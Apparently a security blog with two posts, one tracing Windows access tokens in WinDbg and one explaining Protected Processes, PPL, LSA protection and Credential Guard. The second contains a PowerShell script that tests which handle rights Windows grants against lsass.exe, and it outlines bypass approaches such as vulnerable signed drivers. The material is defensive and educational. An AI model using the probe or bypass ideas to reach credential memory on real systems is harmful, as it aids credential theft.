Chad Duffey

Following an access token with WinDbg: what Windows sees when you ask for access

Mon, 04 May 2026 02:00:00 +0000

When a Windows access check fails, it is natural to start with the object being accessed.

That is usually the right first move. The file, registry key, process, service, object path, ACL, and protection level can all be the answer. But they are only one side of the access check. Windows also needs a precise model of the caller. Who is asking? Which groups count? Which privileges are actually enabled? Is this a primary token or an impersonation token? What integrity level is this principal running at?

One of the most useful objects in Windows security is the access token.

This post uses WinDbg as a handle into that object. We are going to look at tokens from user mode and kernel mode, connect debugger output to whoami, and use that to build a sturdier mental model for why Windows sometimes says yes and sometimes says no.

A quick note before we start: access control discussions get vague fast, so I want to keep this grounded. The goal is for the important claims here to be things we can either observe directly in the lab or tie back to primary Microsoft documentation.

What a token actually is

Microsoft documents an access token as an object that describes the security context of a process or thread. That phrasing is useful because it prevents two common mistakes.

The first mistake is treating the token as just an identity card. It does contain identity material, including the user SID and group SIDs, but it also carries privileges, a logon SID, an owner SID, the default DACL Windows can use when a thread creates a securable object without supplying a security descriptor, optional restricting SIDs, and information about whether the token is primary or impersonation.

The second mistake is treating the token as the whole authorization decision. It is not. The token is the caller side of the picture. The target object’s security descriptor, any mandatory integrity label, and object-specific checks still matter. But the token is one of the main inputs Windows uses to decide what this caller can plausibly do.

That makes it a great debugging object. If you want to understand why the same user can get different answers from two processes, or why a thread inside a server process can behave differently from the process default, the token is one of the first places worth looking.

What lives in a token

Microsoft’s Access tokens documentation lists the main ingredients:

the SID for the user account
SIDs for the groups the user belongs to
a logon SID for the current logon session
the privileges held by the user or the user’s groups
an owner SID
a primary group SID
the default DACL the system can use when a thread creates a securable object without supplying a security descriptor
token source and statistics
whether the token is primary or impersonation
optional restricting SIDs
impersonation-level information

That is already enough to improve the usual “permissions” conversation.

For example, if Windows is deciding whether to grant access to a file, registry key, process, section, or token object, the SIDs in the caller’s token matter because access control entries are matched against those SIDs. The SID attributes matter too: an enabled SID can match allow and deny ACEs, while a deny-only SID is used for deny checks but ignored for allow checks. If the system is deciding whether a caller can perform a privileged system operation, the privilege list in the token matters. If the question involves integrity, the integrity SID stored in the token matters there too, but in a separate mandatory access control step.

So even before we open WinDbg, the token gives us a better way to frame the question:

What security context is this process or thread actually presenting to the system right now?

Lab 1: see the token from user mode first

Before dropping into the debugger, it helps to look at the same security context through ordinary tools.

From a PowerShell prompt:

whoami /user
whoami /groups
whoami /priv

This is not a raw token dump, but it is a very useful first approximation.

whoami /user shows the user SID associated with your current logon context.

whoami /groups shows group SIDs and labels, including integrity labels such as Medium Mandatory Level or High Mandatory Level, depending on how the process was launched.

As a tiny preview, those labels are part of Windows Mandatory Integrity Control. A normal unelevated desktop process usually runs at Medium Mandatory Level. An elevated administrator process typically runs at High Mandatory Level. That does not mean “high can do anything,” but it does mean Windows is tracking more than just your user and group SIDs when it makes access decisions.

whoami /priv shows the privilege side of the token. Microsoft is explicit in its Privileges documentation that privileges are not the same thing as access rights. Privileges govern system-related operations. Access rights govern access to securable objects.

That distinction matters immediately. The output of whoami /priv might show SeDebugPrivilege, but that does not mean a handle request against some target object will automatically succeed. It means the token contains that privilege, with a state such as enabled or disabled, and Windows may consult it in code paths where that privilege matters.

This is a good place to establish a simple habit for the rest of the post:

when we say “identity,” think user SID and group SIDs
when we say “capability,” think privileges
when we say “authorization decision,” remember that the token is only one side of the comparison

Lab 2: look at the token in live user-mode WinDbg

The nice thing about this topic is that WinDbg can join the story early. We do not need to begin in kernel mode.

Microsoft documents the !token extension as available in both kernel mode and live user-mode debugging. It is not available for user-mode dump files. In live user mode, if you omit the handle or pass 0, WinDbg displays the token associated with the target thread.

Start a simple target process such as Notepad or PowerShell, then attach to it with WinDbg.

Once you break in, try:

!token -n 0

In practice, this is handy when a process should be able to touch something but still gets denied. Instead of guessing, you can inspect the token directly and confirm what security context Windows is really evaluating.

The exact output will vary by build and target, but the useful part is not any one field. The useful part is that the debugger can already surface the effective token context for the debuggee’s thread.

That makes the rest of the post less abstract. The token is not just a concept from the Win32 API docs. It is part of the active security context of the thing you are debugging, and WinDbg can show it to you.

Lab 3: follow the token from EPROCESS

For the next step, I am switching to a kernel debugger attached to a lab VM. Kernel debugging setup is much easier to recover from in a lab than on bare metal.

If you want the quick VMware Workstation version:

In the guest, open an elevated PowerShell or Command Prompt and enable serial kernel debugging:

bcdedit /debug on
bcdedit /dbgsettings serial debugport:1 baudrate:115200

In VMware Workstation, add a serial port:

Add -> Serial Port
choose Output to named pipe
set a pipe name such as \\.\pipe\kd_Win11
set This end is the server
set The other end is an application
tick Connect at power on if available

The pipe name can be anything. I usually make it descriptive, such as kd_Win11 or kd_lab.

Microsoft’s virtual-machine kernel-debugging docs use this same COM-over-named-pipe approach. They also note that when the debugger is running on the same host as the VM, WinDbg should connect to \\.\pipe\PipeName.

On the host, start WinDbg as Administrator. Then attach through the WinDbg UI with File -> Kernel Debug -> COM, and point it at the same pipe name.

If you prefer the command line, the same VMware connection can be started with:

windbg.exe -k com:pipe,port=\\.\pipe\kd_Win11

Microsoft’s general virtual-machine COM examples include resets=0 and reconnect, but the parameter notes specifically say not to use those options for VMware because VMware preserves the pipe across restarts.

Microsoft’s VM debugging docs recommend KDNET, and the KDNET docs describe network debugging as faster than serial. The catch is adapter support: the host can use any NIC, but the target must use a supported network adapter. In a VMware guest, a serial pipe is often the path of least resistance because it avoids having to care whether the chosen virtual NIC is one KDNET likes.

In a kernel debugging session, use !process to locate a target process. A calm target such as notepad.exe is a good starting point because we are not trying to prove anything exotic yet.

!process 0 1 notepad.exe

The important detail in the screenshot is that the address we want next is not the process address itself. It is the address of the token object, which !process shows in the process output after you target notepad.exe.

One debugger wrinkle: if you inspect the raw _EPROCESS.Token field yourself with dt, that field is not always presented as a plain pointer. On current Windows it is an _EX_FAST_REF, which uses low bits for reference-count state. The !process output is the easier path here because it gives you the token address in the form !token expects.

Microsoft’s !process documentation shows that the debugger can display the EPROCESS block for a process, including a token pointer. That is the bridge we want.

Once you have the token address, feed it into !token:

!token <TokenAddress>

Then, if you want to go one layer deeper:

dt nt!_TOKEN <TokenAddress>

The useful distinction here is that !process and !token are answering different questions. !process shows you the process object and gives you the token pointer hanging off it. !token then lets you inspect the token itself as a security object.

That matters because the token is not just a user-mode abstraction returned by Win32 APIs. In kernel debugging, you can see that it is real process state referenced by the process object.

If you go one step further with dt nt!_TOKEN, you can also see why symbol-guided inspection matters. _TOKEN is a real structure, but it is not something you should treat as stable by offset across builds. The safer habit is to let symbols tell you what the structure looks like on the system in front of you.

!process tells you where the token lives. !token tells you what security context it carries.

Primary token versus impersonation token

One of the most important distinctions in this area is the difference between a primary token and an impersonation token.

Every process has a primary token. If a thread is not impersonating, that primary token is the security context Windows uses for access checks involving that thread.

A thread can also carry an impersonation token. Microsoft’s Access tokens and Windows security model documentation describe this as the mechanism that lets a server thread act in the security context of a client.

That matters because “what token does this process have?” is not always the full answer. Sometimes the more precise question is “what token is this thread using right now?”

For a lot of desktop troubleshooting, the process primary token is enough to explain what you are seeing. But in service code, RPC paths, named-pipe servers, web back ends, and other code that can act on behalf of another caller, the thread’s impersonation token may be the thing Windows actually uses for the access check.

The practical takeaway is that the process token tells you the default security context, but the thread token may explain the access check you are actually debugging. If a server-side component is acting on behalf of a caller, check whether the thread is impersonating before you assume the process token tells the whole story.

Privileges are not access rights

This distinction is worth keeping separate, because Windows discussions blur it constantly.

Microsoft’s documentation defines a privilege as the right to perform a system-related operation on the local computer, such as loading a driver or changing the system time. It separately defines access rights as rights checked against a securable object’s security descriptor.

That gives us a cleaner way to talk about common APIs:

OpenProcessToken opens the primary token of a process
the process handle passed to OpenProcessToken must have PROCESS_QUERY_LIMITED_INFORMATION
the requested token access is checked against the token object’s DACL
GetTokenInformation requires TOKEN_QUERY for token information classes other than TokenSource, which requires TOKEN_QUERY_SOURCE

In other words, even when we are “just querying the token,” there are multiple access checks in play:

can we open or already hold a process handle with the required process rights?
can we open the token with the desired token rights?
do we then ask for token information that our granted token handle actually permits?

On an ordinary system, an elevated administrator can often inspect the tokens of many normal processes. But that is not something to assume universally. The process-handle check still matters, the token object has its own access control, and newer boundaries such as protected processes can still change the outcome.

That is a better model than “admin can just read the token.”

Integrity is in the token, but it is not the whole story either

The token does not just carry identity and privileges. It also carries integrity information, and that matters during access checks.

Microsoft’s Mandatory Integrity Control documentation explains that the integrity SID for a security principal is stored in its access token. Securable objects can also carry an integrity label, stored in the object’s SACL as a mandatory label ACE.

The practical effect is straightforward: Windows evaluates Mandatory Integrity Control before it evaluates the ordinary allow-or-deny question in the DACL. By default, objects are created with a mandatory label policy of “no write up.” A low-integrity process cannot write to a medium-integrity object even if the DACL would otherwise allow it. Objects without an integrity label are treated as medium integrity by the operating system. Tokens also have a mandatory policy, which can be queried with GetTokenInformation using TokenMandatoryPolicy.

That is why integrity labels in whoami /groups are worth noticing. They are not decorative. They are part of the security context Windows may use when deciding whether this process gets to modify something.

Why attackers care about tokens

Access tokens obviously aren’t just a debugging convenience—they’re fundamental to authorization. Windows uses them as part of its access check to determine whether a caller is allowed the requested operation.

Microsoft’s access-check documentation explains that the system compares the requested access against the security descriptor for the target object, using the caller’s access token as the subject context. It also calls out the impersonation case: if the thread is impersonating another user, the system uses the thread’s impersonation token.

That is the concrete reason attackers care. The token is not just a label attached to a process. It is caller-side state that can influence many later decisions: which SIDs are considered, which privileges are present and enabled, which integrity level applies, and whether the thread is acting as itself or impersonating someone else.

In the normal user-mode path, Windows puts gates in front of that state. Opening a process token requires an appropriate process handle. Opening a token with the desired token access rights is checked against the token object’s DACL. Enabling a privilege requires the privilege to already exist in the token. Impersonation has its own rules and handle requirements. Those checks are the point.

Kernel compromise changes the problem. Microsoft’s vulnerable driver blocklist documentation describes drivers that attackers can exploit to elevate privileges in the Windows kernel or circumvent the Windows security model. If a vulnerable driver gives an attacker arbitrary kernel read/write, the attacker may not need to succeed through OpenProcessToken, OpenThreadToken, or AdjustTokenPrivileges at all. They may be able to tamper with the underlying process or thread security state directly.

Conceptually, token abuse usually comes down to changing what security context future checks will see. That might mean making a process or thread present a more privileged token, or changing token-related state so later checks see different SIDs, privileges, or integrity information than they should. The exact mechanics are build-dependent, unsupported, and easy to get wrong; the important point for this post is the model.

From a WinDbg point of view, the earlier !process and !token work is not just trivia. It shows the relationship a defender or attacker would both care about: the process has a primary token, a thread may have an impersonation token, and !token lets you inspect the security context Windows is going to reason over.

That gives us a useful defensive habit. If a process has access that does not make sense, do not stop at the process name or executable path. Look at the token. Look for the user SID, enabled groups, deny-only groups, enabled privileges, integrity level, and impersonation state. A strange token does not automatically prove compromise, but it is one of the places where the real explanation may be hiding.

Closing thought

When a Windows access problem looks strange, it is natural to start with the target object: the file, the registry key, the process, the ACL. That is still necessary, but it is only half the story.

The token is the caller side of the story. It tells you who Windows thinks is asking, which groups and privileges are in play, whether integrity might matter, and whether a thread might be impersonating a different caller.

Once you can inspect that in WinDbg, access checks stop feeling like a black box. They become something you can reason about, one object at a time.

Thank you for sticking with this one. It is longer and messier than the tidy version I imagined when I decided to refresh on this topic, but that is honestly how this subject feels to me most of the time: follow one object or idea, find three more, test something, fix part of the model, and end up somewhere useful even if it was not quite where I expected.

Sources worth keeping open

Microsoft Learn: Access tokens
Microsoft Learn: Impersonation Tokens
Microsoft Learn: SID Attributes in an Access Token
Microsoft Learn: OpenProcessToken
Microsoft Learn: GetTokenInformation
Microsoft Learn: Access Rights for Access-Token Objects
Microsoft Learn: Privileges
Microsoft Learn: How AccessCheck Works
Microsoft Learn: Mandatory Integrity Control
Microsoft Learn: !token
Microsoft Learn: !process
Microsoft Learn: Setting Up Kernel-Mode Debugging of a Virtual Machine Manually Using a Virtual COM Port
Microsoft Learn: Set Up KDNET Network Kernel Debugging Manually
Microsoft Learn: Windows security model for driver developers
Microsoft Learn: Microsoft recommended driver block rules

Why admin still can't touch some Windows processes

Sun, 26 Apr 2026 22:00:00 +0000

Administrator is powerful on Windows, but it is not the highest trust level on the machine.

That becomes obvious the first time an elevated tool hits a process it cannot fully inspect. In Process Explorer, ordinary processes feel familiar: modules, handles, threads, token details, memory, image paths, loaded DLLs. Administrative tools can usually expose a lot of process state.

Then click one of the protected processes and the picture changes. The process is visible, but some details are missing. Some tabs get thin. Some operations fail. You are still administrator, but Windows is enforcing a boundary that administrator alone does not cross.

That behavior is not a bug in the tool. It is part of the security model.

Why does Windows let an administrator inspect most processes, but reject or constrain access to a special few?

The short version is that modern Windows process security is layered. The old model was mostly about the caller’s token and the target object’s security descriptor. Protected Processes added kernel-enforced restrictions above that. Protected Process Light (PPL) made protection hierarchical by introducing signer levels. Trustlets and Isolated User Mode (IUM) move some secrets into virtualization-backed isolation, where even the usual user-versus-kernel shorthand stops being enough.

Note: process lists, labels, defaults, event IDs, and UI behavior can vary by build, SKU, hardware, and policy. The commands below are meant to validate the model on your machine, not guarantee identical output everywhere.

Lab setup

You can follow most of this with built-in tools plus Sysinternals:

Process Explorer
an elevated PowerShell session
Event Viewer
optional: a kernel debugger attached to a lab VM

Use a lab system if you are going to change security settings. The inspection steps are safe, but enabling or disabling LSA protection, Credential Guard, HVCI, Secure Boot, or WDAC policies can affect compatibility and recovery.

The map

Here is the model before the details:

Ordinary processes are mostly governed by the caller’s token, privileges, and the target process object’s security descriptor.
Protected Processes are special processes where Windows filters sensitive access rights even if the caller is administrative.
Protected Process Light keeps the protected-process idea, but adds signer levels so protected processes are not all equal.
LSA protection is a practical use of PPL for lsass.exe.
Credential Guard and Trustlets use virtualization-based isolation so some secrets are protected outside normal VTL0 process memory.

That is the progression this post follows.

Protected Processes arrived in Windows Vista. They were originally built for protected media scenarios, but the security idea is broader: some processes should not hand out sensitive access rights to ordinary user-mode callers, even administrative ones.

Protected Process Light arrived later, in Windows 8.1. PPL extends the protected-process access model, but adds type and signer information so Windows can distinguish different protected trust levels. That is what makes an LSA-protected process, an Antimalware-protected process, and a Windows-protected process different from each other.

LSA protection is the practical example most defenders recognize. When enabled, lsass.exe runs as a protected process light in the LSA signer category, so nonprotected processes cannot read LSASS memory or inject code into it.

Trustlets and Isolated User Mode arrived with Windows 10. They use virtualization-based isolation and VTL1 so secure processes, such as LsaIso.exe, can keep their user-mode pages isolated from VTL0 code.

Credential Guard builds on that VBS model. Instead of only making LSASS harder to open, it moves the secrets it protects behind an isolated LSA process.

The old model: admin plus debug privilege

The old mental model was not imaginary.

Microsoft’s Process Security and Access Rights documentation explains that when a caller opens a process, Windows checks the requested access rights against the process object’s security descriptor. It also states that to open another process with full access rights, the caller must enable SeDebugPrivilege.

That maps to a lot of traditional Windows debugging experience. If you had an elevated token, enabled debug privilege, and targeted an ordinary process, you could usually request broad process rights and get them.

Those rights are concrete. The same documentation lists access masks such as:

PROCESS_QUERY_INFORMATION
PROCESS_VM_READ
PROCESS_VM_WRITE
PROCESS_VM_OPERATION
PROCESS_DUP_HANDLE
PROCESS_CREATE_THREAD
PROCESS_SUSPEND_RESUME
PROCESS_TERMINATE

If a tool can open a process with rights like those, it can inspect memory, duplicate handles, inject code, create remote threads, suspend or terminate execution, or attach a debugger.

You can check the privilege side of that model from an elevated shell:

whoami /priv | findstr /i SeDebugPrivilege

On many systems you will see SeDebugPrivilege present in an elevated administrator token. Present does not always mean enabled by a given process, and the privilege is not an override for every modern boundary. It explains why older tools and older instincts often equated local administrator with broad process visibility.

Protected Processes changed the access check

Protected Processes were the first major break from that old expectation.

Windows Vista introduced protected processes for protected media and DRM scenarios. That origin story is not the part most defenders care about now, but it shows the architectural change: some processes became special enough that a normal administrator process should not be able to open them with the usual sensitive rights.

The enforcement happens in the kernel. This is not a user-mode convention that Process Explorer, Task Manager, or a debugger politely chooses to follow. Windows marks a process as protected, then restricts what access a caller can receive.

Microsoft’s process access documentation lists rights that are not allowed from an ordinary process to a protected process. The denied list includes sensitive rights such as PROCESS_CREATE_THREAD, PROCESS_DUP_HANDLE, PROCESS_QUERY_INFORMATION, PROCESS_VM_OPERATION, PROCESS_VM_READ, and PROCESS_VM_WRITE. It also notes that PROCESS_QUERY_LIMITED_INFORMATION exists to allow a smaller set of information to remain queryable.

So “protected” does not mean invisible. It means the handle rights you can obtain are intentionally limited.

Classic Protected Processes are not something an administrator can turn on for any executable. Microsoft’s process creation flags documentation documents the CREATE_PROTECTED_PROCESS flag, but also states that the binary must have a special Microsoft-provided signature that is not currently available for non-Microsoft binaries.

Experiment 1: find the protected processes

Start Process Explorer as administrator.

Right-click the process list header, choose Select Columns, and enable the Protection column. Then sort by it.

This gives an immediate visual cue that not all processes are operating under the same trust rules.

The exact entries depend on the machine. You may see ordinary processes with no protection value, protected or PPL processes with labels such as LSA or Antimalware, and possibly secure-process or VBS-related components if those features are enabled.

The exact list can change between machines. The useful part is that process protection is part of the runtime state of the machine.

PPL: protection becomes a signer hierarchy

Protected Process Light is where this stops being a simple protected-versus-unprotected model.

PPL is a lighter, more flexible protected-process model. It keeps the idea that Windows can restrict access to protected processes, but it adds type and signer information. That lets Windows distinguish between different protected trust levels instead of treating protection as a single yes-or-no value.

That changes the question from:

Is this process protected?

to:

What kind of protected process is this, and what signer level does it run with?

Public Windows headers expose some of these ideas through PROCESS_PROTECTION_LEVEL_INFORMATION, with values such as PROTECTION_LEVEL_WINDOWS_LIGHT, PROTECTION_LEVEL_ANTIMALWARE_LIGHT, PROTECTION_LEVEL_LSA_LIGHT, and PROTECTION_LEVEL_WINTCB_LIGHT.

Research by Alex Ionescu on the evolution of protected processes documents the underlying PS_PROTECTION model: a protected type plus a signer value, with signers such as Antimalware, Lsa, Windows, and WinTcb.

That matters because protected processes are not all peers. An anti-malware service needs enough protection that ordinary malware cannot stop the service or inject code into it. LSASS needs a different kind of protection because it handles credential material. Windows components at still higher trust levels need to interact with parts of the system that lower-trust protected processes should not control.

The signer level is not a string a program gets to declare for itself. Windows assigns the protection level only when the launch path and Code Integrity checks satisfy the rules for that protected category. A normal Authenticode signature does not let a process become WinTcb, Lsa, or Antimalware.

The anti-malware case shows the shape of the control. Microsoft documents that an anti-malware protected service needs an ELAM driver, registered certificate information, protected-service configuration, and Code Integrity validation before Windows launches it as protected. Once it is running, only Windows-signed code or code signed with the registered anti-malware vendor certificates can load into that protected service.

LSA protection is stricter in a different way. Microsoft documents that plug-ins loaded into protected LSA must be digitally signed with a Microsoft signature, and that unsigned or incorrectly signed plug-ins fail to load.

That makes the certificate question more concrete. A normal commercial code-signing certificate is not enough to become a high-trust PPL process. For the categories in this post, the legitimate paths are controlled: Windows and WinTcb are Microsoft-controlled; LSA plug-ins need a Microsoft signature through the documented WHQL or LSA file-signing path; anti-malware protected services need the ELAM and protected-service registration model described above. The result is more specific than “this file is signed.” It is “Windows recognizes this file, launch path, and signing policy as eligible for this protected category.”

For an attacker, that usually changes the problem. They are not realistically buying a normal certificate and choosing Lsa or WinTcb as a label. They would need to compromise a trusted signing or build pipeline, abuse a legitimate signed component, exploit a bug in the enforcement path, or move below the user-mode boundary with something like a vulnerable signed driver.

The hierarchy helps in two directions. It limits who can get powerful access to a protected process, and it limits what code can join that protected process. A malware author cannot claim “I am LSA-light now” and receive that trust. They would need to satisfy the relevant signing and launch requirements, or attack some stronger boundary such as Code Integrity, the kernel, or a vulnerable signed driver.

In practice, “is it protected?” is an incomplete question. The better question is:

Protected by what signer level, against which caller, for which access rights?

LSA protection is the easiest example to care about

lsass.exe is the example most people care about because it sits close to credential theft.

Microsoft’s LSA protection documentation says that on Windows 8.1 and later, added LSA protection prevents nonprotected processes from reading LSASS memory and injecting code. It also documents that there is no supported way to debug a running protected LSASS process.

That is the clean practical explanation for the administrator surprise:

If LSASS is running as a protected process, an unprotected administrative tool is still lower trust for sensitive process access.

On Windows 11, LSA protection may already be enabled depending on version, installation type, enterprise join state, HVCI capability, policy, and other conditions. Verify the state instead of assuming it.

Microsoft documents a simple verification point in Event Viewer:

Open Event Viewer.
Go to Windows Logs > System.
Look for WinInit event ID 12.
The message should say LSASS.exe was started as a protected process with level: 4.

You can also check with PowerShell:

Get-WinEvent -FilterHashtable @{ LogName = 'System'; Id = 12 } |
    Where-Object ProviderName -eq 'Microsoft-Windows-Wininit' |
    Select-Object -First 5 TimeCreated, Message

If you do not see that event, it does not automatically mean the machine is insecure. It means that event is not proof that LSASS is running as PPL on that system.

Experiment 2: probe the access rights

The visual test is useful, but a handle-rights test makes the boundary more concrete.

The script below starts Notepad, finds lsass.exe, and tries to open each process with a small set of access masks. It does not read memory, write memory, create a thread, or terminate anything. It only asks whether Windows will grant a handle with each requested right, then closes any handle it receives.

Run it from an elevated PowerShell session:

$source = @'
using System;
using System.Runtime.InteropServices;

public static class NativeProcessAccess
{
    [DllImport("kernel32.dll", SetLastError = true)]
    public static extern IntPtr OpenProcess(UInt32 desiredAccess, bool inheritHandle, UInt32 processId);

    [DllImport("kernel32.dll", SetLastError = true)]
    public static extern bool CloseHandle(IntPtr handle);
}
'@

if (-not ([System.Management.Automation.PSTypeName]'NativeProcessAccess').Type) {
    Add-Type -TypeDefinition $source
}

$rights = [ordered]@{
    PROCESS_QUERY_LIMITED_INFORMATION = 0x1000
    PROCESS_QUERY_INFORMATION         = 0x0400
    PROCESS_VM_READ                   = 0x0010
    PROCESS_VM_WRITE                  = 0x0020
    PROCESS_VM_OPERATION              = 0x0008
    PROCESS_CREATE_THREAD             = 0x0002
    PROCESS_TERMINATE                 = 0x0001
    PROCESS_DUP_HANDLE                = 0x0040
}

function Test-OpenProcessRight {
    param(
        [string]$Name,
        [int]$ProcessId
    )

    foreach ($right in $rights.GetEnumerator()) {
        $handle = [NativeProcessAccess]::OpenProcess([uint32]$right.Value, $false, [uint32]$ProcessId)
        $errorCode = [Runtime.InteropServices.Marshal]::GetLastWin32Error()

        if ($handle -ne [IntPtr]::Zero) {
            [NativeProcessAccess]::CloseHandle($handle) | Out-Null
            [pscustomobject]@{
                Process    = $Name
                Pid        = $ProcessId
                Right      = $right.Key
                Result     = 'Granted'
                Win32Error = 0
            }
        } else {
            [pscustomobject]@{
                Process    = $Name
                Pid        = $ProcessId
                Right      = $right.Key
                Result     = 'Denied'
                Win32Error = $errorCode
            }
        }
    }
}

$notepad = Start-Process notepad -PassThru
$lsass = Get-Process lsass

@(
    [pscustomobject]@{ Name = 'notepad'; Pid = $notepad.Id }
    [pscustomobject]@{ Name = 'lsass';   Pid = $lsass.Id }
) | ForEach-Object {
    Test-OpenProcessRight -Name $_.Name -ProcessId $_.Pid
} | Format-Table -AutoSize

The exact output depends on the system and token state. The pattern is what matters. For an ordinary Notepad process, many of the requested rights should be granted. For LSASS running with protection, sensitive rights such as memory access, handle duplication, and thread creation should fail from an ordinary administrative process. Other rights, including termination, can vary by target and protection state, which is why the access-mask probe is useful.

If LSASS is not protected on your system, pick another process that Process Explorer clearly labels as protected or PPL and rerun the same probe against that PID.

PPL also controls what code may load

PPL is not only about who can open a handle. It also intersects with Code Integrity.

Microsoft’s anti-malware protected services documentation is a good example. Windows 8.1 introduced protected services so anti-malware user-mode services could opt into protected execution. Once the service is launched as protected, Windows uses Code Integrity to restrict what code can load into it, and nonprotected processes cannot inject threads or write into its virtual memory.

That is why PPL starts to feel adjacent to WDAC and App Control, even though PPL signer levels are not equivalent to ordinary WDAC allow or deny rules.

Code Integrity is the enforcement machinery that validates whether code is acceptable for a protected context. WDAC, now commonly referred to in Microsoft documentation as App Control for Business, is an administrator policy system that can define which code is allowed to run. They are related, but not identical.

Microsoft’s App Control event documentation makes the overlap visible. Event ID 3104 means a file under validation did not meet the signing requirements for a PPL process. Event ID 3086 is similar for an IUM process. The LSA protection documentation also points administrators at the Microsoft-Windows-CodeIntegrity/Operational log for events where plug-ins or drivers fail protected-mode signing requirements.

That gives defenders a practical place to look. When protected processes refuse code, Code Integrity telemetry may explain why.

Experiment 3: check the Code Integrity log

Open Event Viewer and browse to:

Applications and Services Logs > Microsoft > Windows > CodeIntegrity > Operational

Then filter for events such as:

3033: in the LSA protection docs, LSASS tried to load a driver that did not meet Microsoft signing-level requirements
3063: in the LSA protection docs, LSASS tried to load a driver that did not meet shared-section requirements
3086: a file did not meet IUM signing requirements
3104: a file did not meet PPL signing requirements

Do not try to manufacture these events on a production machine. The useful habit is knowing where Windows reports the reason when a protected process refuses code. If you are piloting LSA protection, Microsoft also documents audit mode and the relevant Code Integrity events to check before enforcement.

Can these protections be enabled or disabled?

This is where the answer depends heavily on which protection is being discussed.

Classic Protected Processes are not a general administrative switch. The CREATE_PROTECTED_PROCESS flag exists, but the binary needs a special Microsoft signature. For ordinary software, that is not a practical “turn this on” option.

Anti-malware protected services are opt-in for qualifying anti-malware vendors. Microsoft’s documentation requires an Early Launch Anti-Malware driver, certificate information in the ELAM resource section, service registration, and ChangeServiceConfig2 with SERVICE_CONFIG_LAUNCH_PROTECTED. Once running as protected, the service cannot be stopped or reconfigured by an ordinary nonprotected process, even if that process is administrative. For servicing or uninstall, the protected service must cooperate by marking itself unprotected.

LSA protection is configurable. Microsoft documents registry, Group Policy, Intune, and CSP options. On a single machine, the registry path is:

HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\Lsa

The value is RunAsPPL:

1: enable with UEFI lock
2: enable without UEFI lock on Windows 11 version 22H2 and later

Disabling LSA protection depends on how it was enabled. Without UEFI lock, policy or registry can disable it after a reboot. With UEFI lock, the setting is stored in firmware and requires Microsoft documented opt-out steps. Secure Boot state matters here, so this is not something to casually toggle on a production machine.

Credential Guard and VBS are also configurable, but they are a separate layer from PPL. Microsoft documents Intune, Group Policy, and registry options for Credential Guard. Starting in Windows 11 version 22H2 and Windows Server 2025, Credential Guard is enabled by default on devices that meet the requirements unless explicitly disabled. If Credential Guard is enabled with UEFI lock, disabling it is more involved and requires the documented UEFI-variable removal flow.

HVCI, shown in the Windows UI as Memory Integrity, is another VBS-backed feature. It is not the same thing as PPL, but it matters in the same defensive neighborhood because it helps protect kernel-mode code integrity. Microsoft documents enablement through Windows Security, Intune, Group Policy, registry, and App Control policy. Microsoft also documents recovery steps because driver incompatibility can prevent a system from booting cleanly after HVCI is enabled.

The kernel debugger sees a different layer

At this point it is tempting to say “the process cannot be inspected.” That is too broad.

A normal user-mode administrative tool is constrained by process access checks. A kernel debugger in a lab is operating from a different context. That contrast shows that protected processes are not absent or structurally unknowable. They are normal process objects with extra protection state that affects which callers can receive sensitive access.

Microsoft’s anti-malware protected service documentation uses a kernel debugger to inspect the Protection field inside EPROCESS:

dt -r1 nt!_EPROCESS <ProcessAddress> Protection

On a lab VM with symbols configured, you can use a flow like this. First list processes and find the lsass.exe entry:

!process 0 0

Then use the process address from that output:

dt -r1 nt!_EPROCESS <ProcessAddress> Protection

The field layout can change between builds, which is why the debugger command asks symbols to resolve the structure instead of relying on a fixed offset. The protection value is part of kernel process state, not a UI label invented by Process Explorer.

Trustlets move the boundary again

PPL still lives in the normal NT/VTL0 world. Trustlets are a different step.

Microsoft’s Isolated User Mode documentation explains that Windows 10 introduced Virtual Secure Mode (VSM), which uses the Hyper-V hypervisor and SLAT to create Virtual Trust Levels. Traditional kernel and user-mode code runs in VTL0. The secure kernel and IUM code run in VTL1, which is more privileged than VTL0.

The same documentation describes Trustlets, also called trusted processes, secure processes, or IUM processes, as programs running in IUM. Their user-mode pages are isolated in VTL1 from drivers running in the VTL0 kernel. Microsoft states that even if VTL0 kernel mode is compromised, the malware does not have access to IUM process pages.

Credential Guard is the familiar example. Microsoft’s Credential Guard documentation says that with Credential Guard enabled, the LSA process talks to an isolated LSA process, LsaIso.exe, which stores and protects secrets. That data is protected using VBS and is not accessible to the rest of the operating system.

That is a different kind of boundary from PPL.

PPL can explain why an unprotected administrator process cannot get powerful rights into lsass.exe. Trustlets and IUM explain why the secrets protected by Credential Guard are not exposed to ordinary VTL0 process memory in the same way.

Experiment 4: check whether VBS is running

You can check the VBS state with msinfo32.exe. Look for the Virtualization-based security row. Microsoft also documents a PowerShell method using the Win32_DeviceGuard WMI class:

Get-CimInstance -ClassName Win32_DeviceGuard -Namespace root\Microsoft\Windows\DeviceGuard |
    Select-Object VirtualizationBasedSecurityStatus, SecurityServicesConfigured, SecurityServicesRunning

For VirtualizationBasedSecurityStatus, Microsoft documents:

0: VBS is not enabled
1: VBS is enabled but not running
2: VBS is enabled and running

For SecurityServicesRunning, Microsoft documents values such as:

1: Credential Guard is running
2: Memory Integrity is running
3: System Guard Secure Launch is running

Microsoft specifically recommends System Information, PowerShell, or Event Viewer to verify Credential Guard. Seeing LsaIso.exe can be a useful clue, but Task Manager is not the recommended verification method.

What research says about these boundaries

It would be misleading to finish here and imply that PPL or VBS makes a machine untouchable.

A more accurate statement is:

PPL raises the required attacker position above ordinary administrative user-mode access. It does not make a compromised machine safe from every stronger attacker position.

There are three categories of research worth keeping in mind.

First, there has been public user-mode research against PPL assumptions. James Forshaw’s Project Zero post on Windows object directory creation and KnownDlls behavior included an Administrator-to-PPL angle. SCRT later wrote a detailed LSA protection bypass in userland. In 2022, itm4n’s “The End of PPLdump” showed that Microsoft had changed loader behavior in a way that broke that specific PPLdump approach on newer builds.

That does not make PPL useless. It means PPL details matter, and Windows changes over time.

Second, kernel execution changes the boundary. If an attacker can execute code in the kernel, or can abuse a vulnerable signed driver to get kernel read/write capability, user-mode process protections are no longer the same barrier. That is the BYOVD problem: bring your own vulnerable driver.

Microsoft documents the recommended vulnerable driver blocklist, but also cautions that the blocklist is not guaranteed to block every vulnerable driver. Microsoft recommends explicit allow-listing where possible and notes that HVCI, Smart App Control, S mode, and App Control policies can play a role in enforcement.

